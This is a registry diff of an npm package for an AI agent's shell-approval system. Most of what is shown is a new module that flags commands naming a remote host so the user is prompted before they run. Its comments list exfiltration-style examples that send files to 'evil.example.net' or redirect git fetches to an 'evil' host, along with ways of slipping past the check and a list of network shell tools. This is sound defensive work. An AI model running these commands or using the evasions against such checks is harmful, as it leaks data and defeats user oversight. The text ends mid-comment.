@gaunt-sloth/core 2.0.0-alpha.24 → 2.0.0-alpha.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (109) hide show
  1. package/README.md +1 -1
  2. package/dist/config/colour.d.ts +38 -0
  3. package/dist/config/colour.js +36 -0
  4. package/dist/config/colour.js.map +1 -0
  5. package/dist/config/defaults.d.ts +1 -0
  6. package/dist/config/defaults.js +1 -0
  7. package/dist/config/defaults.js.map +1 -1
  8. package/dist/config/loader.d.ts +13 -6
  9. package/dist/config/loader.js +171 -28
  10. package/dist/config/loader.js.map +1 -1
  11. package/dist/config/mouse.d.ts +50 -0
  12. package/dist/config/mouse.js +44 -0
  13. package/dist/config/mouse.js.map +1 -0
  14. package/dist/config/schema.d.ts +2372 -114
  15. package/dist/config/schema.js +845 -16
  16. package/dist/config/schema.js.map +1 -1
  17. package/dist/config/shell-policy.d.ts +466 -116
  18. package/dist/config/shell-policy.js +273 -62
  19. package/dist/config/shell-policy.js.map +1 -1
  20. package/dist/config/tool-descriptions.d.ts +165 -0
  21. package/dist/config/tool-descriptions.js +229 -0
  22. package/dist/config/tool-descriptions.js.map +1 -0
  23. package/dist/config/types.d.ts +36 -1
  24. package/dist/config/types.js.map +1 -1
  25. package/dist/config.d.ts +3 -0
  26. package/dist/config.js +3 -0
  27. package/dist/config.js.map +1 -1
  28. package/dist/core/GthAbstractAgent.d.ts +59 -1
  29. package/dist/core/GthAbstractAgent.js +72 -0
  30. package/dist/core/GthAbstractAgent.js.map +1 -1
  31. package/dist/core/GthAgentRunner.d.ts +341 -58
  32. package/dist/core/GthAgentRunner.js +817 -149
  33. package/dist/core/GthAgentRunner.js.map +1 -1
  34. package/dist/core/GthLangChainAgent.d.ts +16 -0
  35. package/dist/core/GthLangChainAgent.js +72 -2
  36. package/dist/core/GthLangChainAgent.js.map +1 -1
  37. package/dist/core/approvals/annotations.d.ts +122 -0
  38. package/dist/core/approvals/annotations.js +137 -0
  39. package/dist/core/approvals/annotations.js.map +1 -0
  40. package/dist/core/approvals/grants.d.ts +216 -0
  41. package/dist/core/approvals/grants.js +469 -0
  42. package/dist/core/approvals/grants.js.map +1 -0
  43. package/dist/core/approvals/matcher.d.ts +202 -0
  44. package/dist/core/approvals/matcher.js +267 -0
  45. package/dist/core/approvals/matcher.js.map +1 -0
  46. package/dist/core/approvals/mcpSubjects.d.ts +40 -0
  47. package/dist/core/approvals/mcpSubjects.js +99 -0
  48. package/dist/core/approvals/mcpSubjects.js.map +1 -0
  49. package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
  50. package/dist/core/approvals/toolAnnotationSources.js +277 -0
  51. package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
  52. package/dist/core/approvals/toolHost.d.ts +46 -0
  53. package/dist/core/approvals/toolHost.js +108 -0
  54. package/dist/core/approvals/toolHost.js.map +1 -0
  55. package/dist/core/launchBanner.d.ts +120 -0
  56. package/dist/core/launchBanner.js +399 -0
  57. package/dist/core/launchBanner.js.map +1 -0
  58. package/dist/core/plainToolIndication.js +13 -7
  59. package/dist/core/plainToolIndication.js.map +1 -1
  60. package/dist/core/shell/approvalStop.d.ts +75 -0
  61. package/dist/core/shell/approvalStop.js +108 -0
  62. package/dist/core/shell/approvalStop.js.map +1 -0
  63. package/dist/core/shell/arity.d.ts +6 -0
  64. package/dist/core/shell/arity.js +20 -6
  65. package/dist/core/shell/arity.js.map +1 -1
  66. package/dist/core/shell/denylist.d.ts +11 -0
  67. package/dist/core/shell/denylist.js +37 -0
  68. package/dist/core/shell/denylist.js.map +1 -0
  69. package/dist/core/shell/normalize.d.ts +41 -1
  70. package/dist/core/shell/normalize.js +58 -4
  71. package/dist/core/shell/normalize.js.map +1 -1
  72. package/dist/core/shell/openWorld.d.ts +138 -0
  73. package/dist/core/shell/openWorld.js +523 -0
  74. package/dist/core/shell/openWorld.js.map +1 -0
  75. package/dist/core/shell/rater.d.ts +560 -0
  76. package/dist/core/shell/rater.js +895 -0
  77. package/dist/core/shell/rater.js.map +1 -0
  78. package/dist/core/shell/raterModel.d.ts +41 -0
  79. package/dist/core/shell/raterModel.js +51 -0
  80. package/dist/core/shell/raterModel.js.map +1 -0
  81. package/dist/core/shell/rejection.d.ts +66 -0
  82. package/dist/core/shell/rejection.js +38 -0
  83. package/dist/core/shell/rejection.js.map +1 -0
  84. package/dist/core/types.d.ts +71 -9
  85. package/dist/core/types.js.map +1 -1
  86. package/dist/runtime/askStructured.d.ts +8 -7
  87. package/dist/runtime/askStructured.js +8 -7
  88. package/dist/runtime/askStructured.js.map +1 -1
  89. package/dist/runtime/conversation.js +89 -76
  90. package/dist/runtime/conversation.js.map +1 -1
  91. package/dist/runtime/singleShot.js +71 -60
  92. package/dist/runtime/singleShot.js.map +1 -1
  93. package/dist/utils/ProgressIndicator.d.ts +21 -0
  94. package/dist/utils/ProgressIndicator.js +30 -3
  95. package/dist/utils/ProgressIndicator.js.map +1 -1
  96. package/dist/utils/consoleUtils.d.ts +30 -0
  97. package/dist/utils/consoleUtils.js +27 -2
  98. package/dist/utils/consoleUtils.js.map +1 -1
  99. package/dist/utils/systemUtils.d.ts +17 -0
  100. package/dist/utils/systemUtils.js +17 -0
  101. package/dist/utils/systemUtils.js.map +1 -1
  102. package/package.json +5 -2
  103. package/schema/gsloth-config.schema.json +1216 -417
  104. package/dist/core/shell/allowlist.d.ts +0 -75
  105. package/dist/core/shell/allowlist.js +0 -187
  106. package/dist/core/shell/allowlist.js.map +0 -1
  107. package/dist/core/shell/judge.d.ts +0 -161
  108. package/dist/core/shell/judge.js +0 -261
  109. package/dist/core/shell/judge.js.map +0 -1
@@ -0,0 +1,523 @@
1
+ /**
2
+ * @module core/shell/openWorld
3
+ *
4
+ * EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
5
+ * **host literal in a fetch/transfer position**. A command that carries one is floored at
6
+ * `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
7
+ * so it is always asked about and can never be auto-approved.
8
+ *
9
+ * ## Why this is not a trust judgement, and must never become one
10
+ *
11
+ * §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
12
+ * model and a working developer were measured failing exactly that** — the developer flagged the
13
+ * *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
14
+ * preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
15
+ * about, and no misreading of a hostname can produce an auto-approve.
16
+ *
17
+ * It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
18
+ * attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
19
+ * be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
20
+ * hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
21
+ * therefore before this.
22
+ *
23
+ * ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
24
+ *
25
+ * The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
26
+ * there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
27
+ * misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
28
+ * *asked*. So:
29
+ *
30
+ * - a **false positive costs one prompt** — annoying, recoverable, visible;
31
+ * - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
32
+ * literal, which is the discrimination both a cheap model and a working developer were measured
33
+ * failing.
34
+ *
35
+ * **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
36
+ * it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
37
+ * arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
38
+ * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
39
+ * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
40
+ *
41
+ * ## The shape of the matcher
42
+ *
43
+ * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
44
+ *
45
+ * 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
46
+ * composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
47
+ * preflight already floors those. So this matcher never has to parse a hard command — and it
48
+ * must not claim the finding, because "it names a host" would be a worse (and possibly false)
49
+ * explanation than "its target cannot be statically resolved".
50
+ * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
51
+ * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
52
+ * 4. **Test only the candidate operands** for a host literal.
53
+ *
54
+ * **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
55
+ * zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
56
+ * and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
57
+ * for free.
58
+ *
59
+ * **The project's own configured destinations are not host literals.** `git push origin main`,
60
+ * `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
61
+ * `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
62
+ * `routine-mutating` family unprompted.
63
+ *
64
+ * ## Known false positives, each DECLINED because the available fix costs an evasion
65
+ *
66
+ * Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
67
+ * one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
68
+ * every one of them was attempted and reverted:
69
+ *
70
+ * - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
71
+ * release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
72
+ * (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
73
+ * left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
74
+ * `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
75
+ * `rsync -a /srv/ evil.example.net:backup`.
76
+ * - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
77
+ * `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
78
+ * a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
79
+ * `git --quiet fetch <URL>`, both measured.
80
+ * - **An email address under a `git` subcommand word** — also `git config user.email
81
+ * jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
82
+ * prompt per machine setup, against a silent global fetch-redirect).
83
+ *
84
+ * The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
85
+ * here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
86
+ * command had already appeared, which is exactly what {@link HeadTier} withholds.
87
+ *
88
+ * And one that is intended by the rule rather than a defect: a **loopback IP** floors
89
+ * (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
90
+ * bare name is not. Carving loopback out needs a second address-classification rule with its own
91
+ * false-positive surface, for a one-prompt gain.
92
+ */
93
+ import { classifyCommand, tokenize } from '#src/core/shell/arity.js';
94
+ import { normalizeCommand } from '#src/core/shell/normalize.js';
95
+ /**
96
+ * Wrapper binaries that delegate to the *next* command, so the head to test sits behind them.
97
+ *
98
+ * **This list OVERLAPS the hardline's; it is not the same list, and the behaviour is different
99
+ * again.** `hardline.ts` has `sudo`, `env VAR=VAL`, `exec`, `nohup`, `setsid` and `time`, and no
100
+ * `doas` at all (`grep -c doas` → 0); its prefix fragment `(?:sudo\s+(?:-[^\s]+\s+)*)?` consumes
101
+ * sudo's flags but not a flag's *operand*, which is right for a refusal layer where over-consuming
102
+ * would refuse more.
103
+ *
104
+ * Here the cost runs the other way (see the module docblock), so wrapper handling does **not** try to
105
+ * find "the" head at all — it treats every position after a wrapper as a possible head and unions
106
+ * the results ({@link headCandidates}). Two earlier revisions of this comment claimed a parity that
107
+ * did not hold, and each time a real evasion hid behind the claim: first `sudo -u root curl https://…`
108
+ * (the loop stopped at the flag), then `sudo -u git curl https://…` (the scan latched onto the
109
+ * USERNAME `git`, which is a head name, and inherited its subcommand rule). **A comment asserting a
110
+ * property this code does not have is how both of those became inheritable**, so this one states the
111
+ * mechanism instead of a comparison.
112
+ */
113
+ const WRAPPERS = new Set([
114
+ 'sudo',
115
+ 'doas',
116
+ 'exec',
117
+ 'nohup',
118
+ 'setsid',
119
+ 'time',
120
+ 'env',
121
+ ]);
122
+ /**
123
+ * Package-manager subcommands whose `--` hands the rest of the argv to a SCRIPT rather than to the
124
+ * package manager. Deliberately just these two: for every other subcommand `--` is an ordinary
125
+ * end-of-options marker and the operands after it are still the package manager's own.
126
+ */
127
+ const RUN_SUBCOMMANDS = new Set(['run', 'run-script']);
128
+ /** A leading `VAR=value` assignment, which precedes the real head exactly like a wrapper does. */
129
+ const ENV_ASSIGNMENT_RE = /^[A-Za-z_][A-Za-z0-9_]*=/;
130
+ /**
131
+ * The network-capable heads, and where a host may appear under each.
132
+ *
133
+ * **This table is INCOMPLETE BY CONSTRUCTION and that is a design decision, not an oversight** —
134
+ * `svn`, `hg`, `mvn`, `gradle`, `kubectl`, `docker`, `gh`, `deno`, `go`, `cargo`, `helm`, `brew` and
135
+ * `terraform` all reach the network and are deliberately absent. Adding one is cheap and safe (a
136
+ * miss becomes a prompt); what is *not* safe is widening a head's `HostPosition` so that an ordinary
137
+ * LOCAL operand starts reading as a fetch target — that is the one edit that can put a filename in
138
+ * front of the user as a "host". Weigh any addition against the must-NOT-fire probes in
139
+ * `spec/shellOpenWorld.spec.ts`, not against the corpus — the corpus has almost no coverage of that
140
+ * direction (see that spec's docblock).
141
+ *
142
+ * A `Map`, not an object literal, on purpose: the head comes from an attacker-influenceable command
143
+ * string, and `NET['constructor']` on a plain object resolves through the prototype chain to
144
+ * something that is not an entry of this table. The same hazard is documented at
145
+ * {@link import('./rater.js').isBelowDestructiveFloor}.
146
+ */
147
+ const NETWORK_HEADS = new Map([
148
+ // Fetchers / transfer agents whose operands are ENDPOINTS, not local files: a scheme-less
149
+ // `example.com/install.sh` is a fetch here and nothing else.
150
+ ['curl', { kind: 'all', bareHost: true }],
151
+ ['wget', { kind: 'all', bareHost: true }],
152
+ ['aria2c', { kind: 'all', bareHost: true }],
153
+ ['http', { kind: 'all', bareHost: true }], // httpie
154
+ ['httpie', { kind: 'all', bareHost: true }],
155
+ ['xh', { kind: 'all', bareHost: true }],
156
+ ['nc', { kind: 'all', bareHost: true }],
157
+ ['ncat', { kind: 'all', bareHost: true }],
158
+ ['netcat', { kind: 'all', bareHost: true }],
159
+ ['telnet', { kind: 'all', bareHost: true }],
160
+ ['ssh', { kind: 'all', bareHost: true }],
161
+ ['sftp', { kind: 'all', bareHost: true }],
162
+ ['ftp', { kind: 'all', bareHost: true }],
163
+ // Transfer agents that take LOCAL paths beside remote ones — no bare-host rule, or `./my.dir/x`
164
+ // would be offered to the user as a hostname.
165
+ ['scp', { kind: 'all' }],
166
+ ['rsync', { kind: 'all' }],
167
+ // Cloud CLIs — a bucket/object URI is a host literal (`s3://…`, `gs://…`).
168
+ ['aws', { kind: 'all' }],
169
+ ['gsutil', { kind: 'all' }],
170
+ ['az', { kind: 'all' }],
171
+ // `git` only where a URL stands in for a configured remote. `git commit -m "…https://…"` and
172
+ // `git tag -a v1 -m "see https://…"` are NOT fetches, and prompting on them would be a worse
173
+ // annoyance regression than the one this preflight was built to avoid.
174
+ //
175
+ // **`config` is in this set deliberately, and it widens the design — do not "simplify" it out.**
176
+ // The rest of this module rests on *a URL under a head that cannot reach the network is not a
177
+ // fetch*, which is true of `git commit -m`, where the URL is prose. A config write is not prose:
178
+ // it is a STORED FETCH TARGET, which is the same thing `--registry` is, and
179
+ // `npm config set registry https://…` has always floored here. Without it git contradicted
180
+ // itself — `git remote set-url origin <URL>` floored while `git config remote.origin.url <URL>`,
181
+ // the identical write to the identical file, was auto-approved — and, worse,
182
+ // `git config --global url.https://evil/.insteadOf https://github.com/` silently redirected EVERY
183
+ // FUTURE GITHUB FETCH ON THE MACHINE, persistently, which is strictly worse than the one-shot
184
+ // fetch that did floor. Measured price: two false positives, both `git config user.email
185
+ // <address>`, i.e. one prompt per machine setup. `git config user.name`, `--list`, `--get`,
186
+ // `--unset`, `core.editor` and `alias.*` carry no host literal and stay silent.
187
+ [
188
+ 'git',
189
+ {
190
+ kind: 'subcommand',
191
+ subcommands: new Set([
192
+ 'clone',
193
+ 'push',
194
+ 'pull',
195
+ 'fetch',
196
+ 'remote',
197
+ 'submodule',
198
+ 'ls-remote',
199
+ 'archive',
200
+ 'config',
201
+ ]),
202
+ },
203
+ ],
204
+ // Package managers. The configured default registry in `.npmrc` is not a host literal, so
205
+ // `npm install lodash` stays unprompted — but an `--registry`/`--index-url` override is, and so is
206
+ // a URL in the install-target position (`npm install https://…/pkg.tgz` fetches remote code and
207
+ // then runs its lifecycle scripts).
208
+ ['npm', { kind: 'flag', flags: new Set(['--registry']) }],
209
+ ['pnpm', { kind: 'flag', flags: new Set(['--registry']) }],
210
+ ['yarn', { kind: 'flag', flags: new Set(['--registry']) }],
211
+ ['npx', { kind: 'flag', flags: new Set(['--registry']) }],
212
+ ['pip', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
213
+ ['pip3', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
214
+ ]);
215
+ /** `scheme://…` — `https`, `http`, `ftp`, `s3`, `gs`, `git+ssh`, anything. */
216
+ const SCHEME_RE = /^[a-z][a-z0-9+.-]*:\/\//i;
217
+ /** `user@host` (`deploy@myhost:/srv/`, `git@github.com:owner/repo.git`). */
218
+ const USER_AT_HOST_RE = /^[^@\s/]+@[a-z0-9._-]+(:|$)/i;
219
+ /**
220
+ * A bare IPv4 target, with or without a port or path — but **not** a CIDR mask.
221
+ *
222
+ * `192.168.1.0/24` is a network range, not a counterparty, and it appears in ordinary firewall work
223
+ * (`ufw allow ssh from 192.168.1.0/24`, `iptables … -s 203.0.113.0/24`) where a head name also sits
224
+ * in an argument position. `203.0.113.9/payload` is a fetch and still matches; the exclusion is only
225
+ * a trailing `/` plus one or two digits and nothing else, which no fetch path realistically is.
226
+ */
227
+ const IPV4_RE = /^(\d{1,3}\.){3}\d{1,3}(:|\/(?!\d{1,2}$)|$)/;
228
+ /**
229
+ * A bracketed IPv6 target — `[2001:db8::1]`, `[::1]:8080/x`. The scheme form already matched via
230
+ * {@link SCHEME_RE}; this is the bare one. A bracketed operand is otherwise unheard of in a shell
231
+ * command, so the false-positive cost is nil.
232
+ */
233
+ const IPV6_RE = /^\[[0-9a-f:.]+\](:\d+)?(\/|$)/i;
234
+ /**
235
+ * scp/rsync `host.tld:path` with no scheme. The `(?!\/\/)` keeps it from re-matching a scheme.
236
+ *
237
+ * The final label must be **letters, two or more** — a real TLD never is anything else (RFC 3696;
238
+ * an all-numeric final label is an address, and {@link IPV4_RE} owns that). Without that clause the
239
+ * pattern read a dotted **git refspec** as a host: `git push origin v1.2.3:refs/tags/v1.2.3` floored,
240
+ * which is routine release work and exactly the annoyance regression §4.6 is built to avoid.
241
+ */
242
+ const HOST_COLON_PATH_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}:(?!\/\/)/i;
243
+ /**
244
+ * A scheme-less dotted host **followed by a path or a port** — `example.com/install.sh`,
245
+ * `evil.example.net:8080/x`. Only offered to heads marked `bareHost`.
246
+ *
247
+ * The trailing `\/` or `:port` is what separates a hostname from a filename, and it is required for
248
+ * exactly that reason: `file.tar.gz`, `urls.txt`, `package.json` and `batch.txt` are all
249
+ * `label.label` with a letters-only final label, and admitting them would put a FILENAME in front of
250
+ * the user as the counterparty — which defeats §4.6.1, whose entire premise is that the sentence
251
+ * naming the host is the deliverable.
252
+ *
253
+ * The consequence, deliberate and documented: `ssh prod.example.com uptime` and
254
+ * `nc evil.example.net 4444` are **misses**, because neither has a path or a port attached. A miss
255
+ * costs a rating, which is what happened before this node existed.
256
+ */
257
+ const BARE_HOST_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}(:\d+)?\//i;
258
+ /**
259
+ * Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
260
+ * `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
261
+ * counterparty trustworthy"* (§4.1.1).
262
+ */
263
+ export function isHostLiteral(operand) {
264
+ return (SCHEME_RE.test(operand) ||
265
+ USER_AT_HOST_RE.test(operand) ||
266
+ IPV4_RE.test(operand) ||
267
+ IPV6_RE.test(operand) ||
268
+ HOST_COLON_PATH_RE.test(operand));
269
+ }
270
+ /**
271
+ * {@link isHostLiteral}, plus the scheme-less `host.tld/path` form. Applied only to operands of a
272
+ * head marked `bareHost` — see {@link BARE_HOST_RE} for why it is not applied everywhere.
273
+ */
274
+ function isHostLiteralOrBareHost(operand) {
275
+ return isHostLiteral(operand) || BARE_HOST_RE.test(operand);
276
+ }
277
+ /**
278
+ * Reduce an argv[0] to the bare binary name: drop any path prefix, case-fold, drop a `.exe`.
279
+ *
280
+ * **The case fold is a real evasion fix, found by RUNNING the prototype rather than reading it.**
281
+ * `cUrL https://…` passed the first version, because {@link normalizeCommand} deliberately
282
+ * preserves case. That is irrelevant on Linux — but on **Windows and case-insensitive macOS
283
+ * volumes that command resolves and runs**, and gaunt-sloth ships on both. A local Linux test run
284
+ * cannot prove this cell; the CI matrix is what does.
285
+ */
286
+ function bareHead(token) {
287
+ const lastSegment = token.split(/[\\/]/).pop() ?? '';
288
+ return lastSegment.toLowerCase().replace(/\.exe$/, '');
289
+ }
290
+ /**
291
+ * A token that is a URL rather than a program: `https://example.com/curl`'s last path segment is
292
+ * `curl`, and without this it would resolve to the head `curl` at whatever position it sits in.
293
+ */
294
+ const URL_SHAPED_RE = /:\/\//;
295
+ /**
296
+ * Every position in argv that may be the network head, each with its own {@link HostPosition} and
297
+ * {@link HeadTier}.
298
+ *
299
+ * ## Why every position, and why no list of wrapper names
300
+ *
301
+ * This is the fourth shape of this function, and the previous three each died to the same failure:
302
+ * **naming the things that may precede a command.** The wrapper loop stopped at the first flag
303
+ * (`sudo -u root curl …` evaded); scanning to the *first* head re-anchored onto a decoy
304
+ * (`sudo -u git curl …` evaded, because `git` is a real system user); and gating the scan on a
305
+ * `WRAPPERS` membership test left `timeout 30 curl …` evading while `time curl …` floored — the
306
+ * near-homograph of a name that *was* in the list. Twelve more names (`nice`, `stdbuf`,
307
+ * `proxychains`, `torsocks`, `runuser`, `busybox`, `flock`, …) would have closed today's twelve and
308
+ * reopened on the thirteenth tool anyone writes.
309
+ *
310
+ * So there is no membership test in the loop below. **Every token is a candidate head**, and the
311
+ * question a name would have answered — *is this token the command, or an argument to one?* — is
312
+ * answered by TIER instead of by exclusion, so being wrong about it costs precision rather than the
313
+ * whole match.
314
+ *
315
+ * ## How the tier is decided
316
+ *
317
+ * `full` applies while nothing but flags, flag values, wrappers and `VAR=value` assignments has been
318
+ * passed — i.e. **while the command itself has not yet appeared**. The moment a token appears that is
319
+ * none of those (`cp` in `sudo -u root cp /usr/bin/curl backup.dir/`), that token is the command, every
320
+ * later head-shaped token is one of its arguments, and the tier drops to `restricted` for the rest of
321
+ * the argv. A flag's *value* keeps `full` alive — that is what makes `sudo -u root curl …` and
322
+ * `sudo -u git curl …` behave identically — without needing to know which flags take one.
323
+ *
324
+ * **`WRAPPERS` is consulted by the tier predicate and nowhere else**, which is the whole of what is
325
+ * left of it. There used to be a loop here that advanced an index past leading wrappers and
326
+ * `VAR=value` assignments; once the tier predicate existed that loop was **provably dead** — deleting
327
+ * it entirely changed no test and no behaviour, because the predicate already lets a wrapper keep the
328
+ * `full` tier alive at the position the loop would have landed on. It is gone rather than kept as an
329
+ * unkillable branch. Emptying `WRAPPERS`, by contrast, turns 20 tests red: a name missing from it now
330
+ * costs *precision* (a scheme-less target behind that wrapper goes unseen) rather than the whole
331
+ * command, which is exactly the demotion that makes `timeout`-vs-`time` no longer a security bug.
332
+ */
333
+ function headCandidates(argv) {
334
+ const candidates = [];
335
+ const trueHead = NETWORK_HEADS.get(bareHead(argv[0] ?? ''));
336
+ if (trueHead !== undefined)
337
+ candidates.push({ index: 0, position: trueHead, tier: 'full' });
338
+ // Has anything other than a flag / flag value / wrapper / assignment been passed yet? Once it has,
339
+ // the command has appeared and every later head-shaped token is an argument to it.
340
+ let beforeTheCommand = true;
341
+ for (let scan = 1; scan < argv.length; scan++) {
342
+ const passed = argv[scan - 1];
343
+ const passedIsFlagValue = scan >= 2 && argv[scan - 2].startsWith('-');
344
+ if (!passed.startsWith('-') &&
345
+ !WRAPPERS.has(bareHead(passed)) &&
346
+ !ENV_ASSIGNMENT_RE.test(passed) &&
347
+ !passedIsFlagValue) {
348
+ beforeTheCommand = false;
349
+ }
350
+ const token = argv[scan];
351
+ if (URL_SHAPED_RE.test(token))
352
+ continue;
353
+ const scanned = NETWORK_HEADS.get(bareHead(token));
354
+ if (scanned !== undefined) {
355
+ candidates.push({
356
+ index: scan,
357
+ position: scanned,
358
+ tier: beforeTheCommand ? 'full' : 'restricted',
359
+ });
360
+ }
361
+ }
362
+ return candidates;
363
+ }
364
+ /**
365
+ * The values glued to a flag with `=`, e.g. `--url=https://…`.
366
+ *
367
+ * **The `flag` arm split on `=` from the first commit and the other two arms did not**, which is the
368
+ * definition of an inconsistency rather than a design: `positional` drops every `-`-prefixed token
369
+ * whole, so `curl --url=https://evil/x`, `git push --repo=<URL>` and `git archive --remote=<URL>` were
370
+ * auto-approved while their detached spellings floored. All three are real, working invocations.
371
+ */
372
+ function inlineFlagValues(operands) {
373
+ return operands
374
+ .filter((operand) => operand.startsWith('-') && operand.includes('='))
375
+ .map((operand) => operand.split(/=(.*)/)[1] ?? '');
376
+ }
377
+ /** The candidate operands for one head, under that head's own rule and the position's tier. */
378
+ function candidatesFor(position, tier, operands) {
379
+ const positional = operands.filter((operand) => !operand.startsWith('-'));
380
+ const inline = inlineFlagValues(operands);
381
+ const candidates = [];
382
+ switch (position.kind) {
383
+ case 'all': {
384
+ const test = position.bareHost && tier === 'full' ? isHostLiteralOrBareHost : isHostLiteral;
385
+ candidates.push(...[...positional, ...inline].map((value) => ({ value, test })));
386
+ break;
387
+ }
388
+ case 'subcommand':
389
+ // **ANY operand being a listed subcommand opens the gate**, rather than the first non-flag
390
+ // one. `git -C . clone https://evil/x` put `.` in the subcommand position and turned the gate
391
+ // off with one added token; enumerating git's arg-taking global flags (`-C`, `-c`,
392
+ // `--git-dir`, `--work-tree`, `--namespace`, `--exec-path`, `--config-env`) would close that
393
+ // and reopen it for the next flag added upstream. `tokenize` is quote-aware, so
394
+ // `git commit -m "clone the repo, see https://…"` is the SINGLE operand
395
+ // `clone the repo, see https://…`, which is not equal to `clone` — the gate stays shut.
396
+ if (positional.some((operand) => position.subcommands.has(operand))) {
397
+ candidates.push(...[...positional, ...inline].map((value) => ({ value, test: isHostLiteral })));
398
+ }
399
+ break;
400
+ case 'flag': {
401
+ // `<pm> run <script> -- …` hands everything after the `--` to the SCRIPT: the package manager
402
+ // stops parsing there and never sees those tokens, so nothing after it is a package-manager
403
+ // fetch position. Without this, `npm run dev -- --proxy https://api.example.com` and
404
+ // `npm run build -- --url <URL>` — ordinary dev-server invocations — prompted every time.
405
+ //
406
+ // **Scoped to `run`/`run-script` on purpose, and that scope is the whole safety of it.** `--`
407
+ // is an end-of-options marker for the OTHER subcommands, where the operands after it are still
408
+ // the package manager's own: `npm install -- https://evil/pkg.tgz` installs that tarball, and
409
+ // it must keep flooring. A blanket "ignore everything after `--`" would be an evasion.
410
+ //
411
+ // The residual, stated so it is a decision: a project script that forwards its arguments to a
412
+ // network tool (`"build": "curl"`) would fetch a post-`--` URL. That is not a package-manager
413
+ // fetch, it is indistinguishable from the same script with the URL hardcoded — which
414
+ // `npm run build` alone already is, silently — and reaching it requires a script that already
415
+ // exists in package.json.
416
+ const scriptArgs = RUN_SUBCOMMANDS.has(positional[0] ?? '') ? operands.indexOf('--') : -1;
417
+ const own = scriptArgs === -1 ? operands : operands.slice(0, scriptArgs);
418
+ const ownPositional = own.filter((operand) => !operand.startsWith('-'));
419
+ // The registry/index OVERRIDE is exempt from that boundary, and deliberately so: it is scanned
420
+ // across the whole argv. A first cut honoured the boundary here too, and no mutation could kill
421
+ // it — nothing observable changed, because the flags this arm knows (`--registry`,
422
+ // `--index-url`, `-i`) are not the flags the false positive was about (`--url`, `--proxy`,
423
+ // `--host`, which no package manager parses). Scanning everything is the raise-only choice and
424
+ // the one without an untestable branch: `npm run build -- --registry <URL>` floors, which is an
425
+ // over-match rather than a miss.
426
+ for (let i = 0; i < operands.length; i++) {
427
+ // Both spellings: `--registry=URL` and `--registry URL`.
428
+ const [flag, inlineValue] = operands[i].split(/=(.*)/);
429
+ if (position.flags.has(flag)) {
430
+ candidates.push({ value: inlineValue ?? operands[i + 1] ?? '', test: isHostLiteral });
431
+ }
432
+ }
433
+ // The install TARGET, tested for a URL scheme ONLY. `npm install https://evil/p.tgz` fetches
434
+ // remote code and runs its lifecycle scripts, and was auto-approved because this arm looked at
435
+ // flag values alone. The narrow test is deliberate: the full `isHostLiteral` would read
436
+ // `npm install typescript@latest` and `npm install lodash@4.17.21` as `user@host` and prompt
437
+ // on two of the most ordinary commands there are.
438
+ candidates.push(...[...ownPositional, ...inlineFlagValues(own)].map((value) => ({
439
+ value,
440
+ test: (operand) => SCHEME_RE.test(operand),
441
+ })));
442
+ break;
443
+ }
444
+ }
445
+ return candidates;
446
+ }
447
+ /**
448
+ * Test ONE tokenized form of the command for host literals in a fetch position: collect every
449
+ * possible head position, and union what each one finds under its own rule.
450
+ *
451
+ * Kept separate from {@link findOpenWorldHostLiterals} because that function runs this over **two**
452
+ * forms of the same command — see there for why.
453
+ *
454
